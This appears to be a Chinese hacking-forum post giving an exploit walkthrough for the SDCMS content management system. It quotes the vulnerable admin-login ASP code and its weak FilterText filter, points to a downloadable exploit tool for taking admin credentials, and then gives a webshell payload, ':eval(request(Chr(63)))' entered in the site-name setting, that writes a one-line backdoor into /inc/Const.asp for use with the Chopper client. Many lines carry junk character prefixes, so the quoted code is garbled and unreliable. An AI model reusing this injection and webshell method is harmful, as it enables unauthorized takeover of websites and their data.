SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
漏洞文件：后台目录/index.asp

Sub Check
4 i! B$ {9 \* F# n/ d; Q    Dim username,password,code,getcode,Rs
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
( G! t! G6 d. k2 Y5 K+ ]5 \( w    username=FilterText(Trim(Request.Form("username")),1)
. ~5 J0 x0 h7 l    password=FilterText(Trim(Request.Form("password")),1)
    code=Trim(Request.Form("yzm"))
    getcode=Session("SDCMSCode")
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
' [& A, S7 |4 n* T. b6 Q" x' e# m    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
        Echo "用户名或密码不能为空"ied
    Else
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
; m5 o" X9 z$ H( v        IF Rs.Eof Then
            AddLog username,GetIp,"登录失败",1
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
        Else
            Add_Cookies "sdcms_id",Rs(0)
# a9 z# f  f  k            Add_Cookies "sdcms_name",username
            Add_Cookies "sdcms_pwd",Rs(2)
! S! t( c4 l3 W5 s0 r            Add_Cookies "sdcms_admin",Rs(3)
9 q, I4 O6 W6 u* r1 C            Add_Cookies "sdcms_alllever",Rs(4)
            Add_Cookies "sdcms_infolever",Rs(5)
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
            AddLog username,GetIp,"登录成功",1
& O( Z! N" z& n; |, s            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
* M9 Y: S% e# d0 C                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
) w- F3 _9 y5 y  E( D6 X# x            Else
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
+ \0 t  o; a* X) M            End IF
: x! W. G6 }" v; ^            Go("sdcms_index.asp")
        End IF
5 F4 e  e. [" J* _. R" ^. }        Rs.Close
        Set Rs=Nothing
    End IF
End Sub
6 s, q- H) @+ a9 ]+ q
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
& D  ~% [5 _# E4 s8 C6 @% ]2 h& H
1 ]0 P: U0 a4 ~7 u  N% PFunction FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
/ x$ T5 K: `: _% n1 Q    t0=Trim(t0)
# c8 C- f) q  G! `) l- d    Select Case t1
5 m! H2 u. E& n- _        Case "1"
( n) g, ]7 p3 \4 u" L6 ~            t0=Replace(t0,Chr(32),"")
/ A6 \. c; Z/ P& i5 O# W* M            t0=Replace(t0,Chr(13),"")
            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
4 p/ e  `( R9 \9 {* P; Q        Case "2"
            t0=Replace(t0,Chr(8),"")'回格
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
% J( B/ I. T; G& ~- U# O            t0=Replace(t0,Chr(10),"")'换行
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
/ E7 p8 _, p: ]; _4 X: G            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
            t0=Replace(t0,Chr(22),"")
- I  _. y  {9 \* a5 Q+ J            t0=Replace(t0,Chr(32),"")'空格 SPACE
: x) l4 ]% G0 K& @/ ^            t0=Replace(t0,Chr(33),"")'!
' [! B# {& h1 Z% L, e            t0=Replace(t0,Chr(34),"")'"
: ]4 A  `& m. p) F+ ?            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
, R4 ?5 X* I) O% Y! X            t0=Replace(t0,Chr(37),"")'%
            t0=Replace(t0,Chr(38),"")'&
! R" C) Y9 i4 {, ]% d. d+ \3 k$ T6 I            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
            t0=Replace(t0,Chr(41),"")')
) g5 i! F+ p  u! y7 ]8 m0 p4 k            t0=Replace(t0,Chr(42),"")'*
            t0=Replace(t0,Chr(43),"")'+
            t0=Replace(t0,Chr(44),"")',
            t0=Replace(t0,Chr(45),"")'-
            t0=Replace(t0,Chr(46),"")'.
            t0=Replace(t0,Chr(47),"")'/
  `. T4 S  m3 y. a( _            t0=Replace(t0,Chr(58),"")':
: m4 [: E# l2 t+ A' ?, Y1 ]0 ], M            t0=Replace(t0,Chr(59),"")';
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
6 k  H- L! p, L) o- Y# U4 y            t0=Replace(t0,Chr(63),"")'?
            t0=Replace(t0,Chr(64),"")'@
            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
            t0=Replace(t0,Chr(93),"")']
9 v1 l9 _6 K1 Q; _- K; A; U) ?            t0=Replace(t0,Chr(94),"")'^
$ N$ @) ~' q8 v7 e$ [            t0=Replace(t0,Chr(95),"")'_
' s; \  i7 Z" U  d$ L4 m            t0=Replace(t0,Chr(96),"")'`
0 {( s. A7 Y9 `+ p' S            t0=Replace(t0,Chr(123),"")'{
            t0=Replace(t0,Chr(124),"")'|
            t0=Replace(t0,Chr(125),"")'}
) q& a, O9 J/ B9 W. _+ T            t0=Replace(t0,Chr(126),"")'~
! V- c9 ^6 i' f& H5 x: n& G    Case Else
5 ^& u7 `; u' J7 G        t0=Replace(t0, "&", "&")
# Z+ h8 X7 e' r5 O7 M, P+ A& I        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
5 H4 B' N$ R4 e, D' e3 ]. p4 V        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
  ?" ~( S3 G' T& L' `    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
/ U& R; j% L& d        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
    End If
    FilterText=t0
End Function

5 G% t0 k1 R( v看到没。直接参数是1 只过滤
                        t0=Replace(t0,Chr(32)," ")
                        t0=Replace(t0,Chr(13),"")
) F1 P0 h. S; R- z$ m7 G# Z                        t0=Replace(t0,Chr(10)&Chr(10),"
6 n! ?( F- g+ z! ~")
9 f8 I( Z0 y8 }* I                        t0=Replace(t0,Chr(10),"
")
6 M' n& u. ]2 y8 o' N% Y漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
# m& }1 n  e* w; c6 Q) R! W! _EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP

1 n! R. E1 z1 H$ R; ~8 O6 A/ i( j测试:

7 ]* }& ?; S' k( }' q
2 X7 D! W& m9 k7 D  w现在输入工具上验证码,然后点OK

! ^" E- D! q7 S# k/ N
3 B- a: B. W# S7 d看到我们直接进入后台管理界面了,呵呵!
, O! f- u) e  S' f3 `% \+ j
. ]0 H7 j4 m8 Y1 {% j+ C$ @8 ^9 C: a

3 H% S+ y( o* a; ?7 G! F2 l! u这样直接进入后台了。。。。

9 }, J9 [0 \6 x, J; U6 J& y' g

( L6 R8 P& p! t' t6 E$ N3 FSDCMS提权:
  j+ V+ a. B2 Z, e0 x+ i
1 [; G: K$ j) `, w% O5 k/ U方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?

9 a- z# [  ]5 F: V
$ H4 l5 |% c- S5 b& K! \
OK,现在用菜刀连接下!
8 U4 o; C  `! ~) K
9 ]$ F& t6 r5 n( J: S
& c( B8 g" g- u6 z2 q

- o$ p4 q: L+ l5 h5 Z$ ]  G! L. Z